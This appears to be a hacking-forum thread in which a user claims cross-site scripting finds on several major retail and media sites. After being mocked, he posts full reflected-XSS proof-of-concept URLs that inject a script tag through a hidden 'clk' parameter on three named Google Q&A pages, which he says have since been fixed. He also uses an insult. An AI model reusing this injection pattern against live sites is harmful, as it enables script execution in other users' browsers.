[{Pi}]

To get myself started here, here are some XSS's I have found in the past few weeks or so.
Google.com
IT HAS BEEN FIXED
Here is a screenshot of the XSS.

Spoiler:

Email they sent me;

Spoiler:

---

Oakley.com

Spoiler:

---

Hulu.com

Spoiler: Screenshot

---

BestBuy.com

Spoiler:

---

Logitech.com

Spoiler:

---

Target.com

Spoiler:

---

Jcrew.com

Spoiler:

PM me if you want more information.

[1234hotmaster]

1) goes to google
2) Changes url to javascript:void(alert('xss'));
3) Press enter
4) Take screenshot

[{Pi}]

1) goes to google
2) Changes url to javascript:void(alert('xss'));
3) Press enter
4) Take screenshot

You're fucking dumb.

The following locations were vulnerable;
http://www.google.com/baraza/en
http://www.ejabat.google.com
http://www.guru.google.co.th

All of them are some sort of Q&A system.
The pages that were vulnerable on each of them were;
Ask *.com/ask?
Ask an Admin *.com/aask?
The query that I used were;

Code:

?subject=Subject&clk=Tes"/><script>alert('PiHF')</script>&pli=1

The input that was vulnerable was called clk.
It was a hidden input.
Here is what it looked like in the source;

Code:

<input type="hidden" name=clk value=Tes"><script>alert("PiHF")</script>

This worked on;

http://www.google.com/baraza/en
Ask an Admin:

Code:

http://www.google.com/baraza/en/aask?subject=Subject&clk=Tes%22/%3E%3Cscript%3Ealert%28%27PiHF%27%29%3C/script%3E&pli=1

Ask

Code:

http://www.google.com/baraza/en/ask?subject=Subject&clk=Tes%22/%3E%3Cscript%3Ealert%28%27PiHF%27%29%3C/script%3E&pli=1

http://www.ejabat.google.com
Ask an Admin:

Code:

http://www.ejabat.google.com/ask?subject=Subject&clk=Tes%22/%3E%3Cscript%3Ealert%28%27PiHF%27%29%3C/script%3E&pli=1

Ask:

Code:

ejabat.google.com/ask?subject=Subject&clk=Tes%22/%3E%3Cscript%3Ealert%28%27PiHF%27%29%3C/script%3E&

http://www.guru.google.co.th
Ask:

Code:

http://www.guru.google.co.th/ask?subject=Subject&clk=Tes%22/%3E%3Cscript%3Ealert%28%27PiHF%27%29%3C/script%3E&

Ask an Admin:

Code:

http://www.guru.google.co.th/ask?subject=Subject&clk=Tes%22/%3E%3Cscript%3Ealert%28%27PiHF%27%29%3C/script%3E&

What further proof do you want?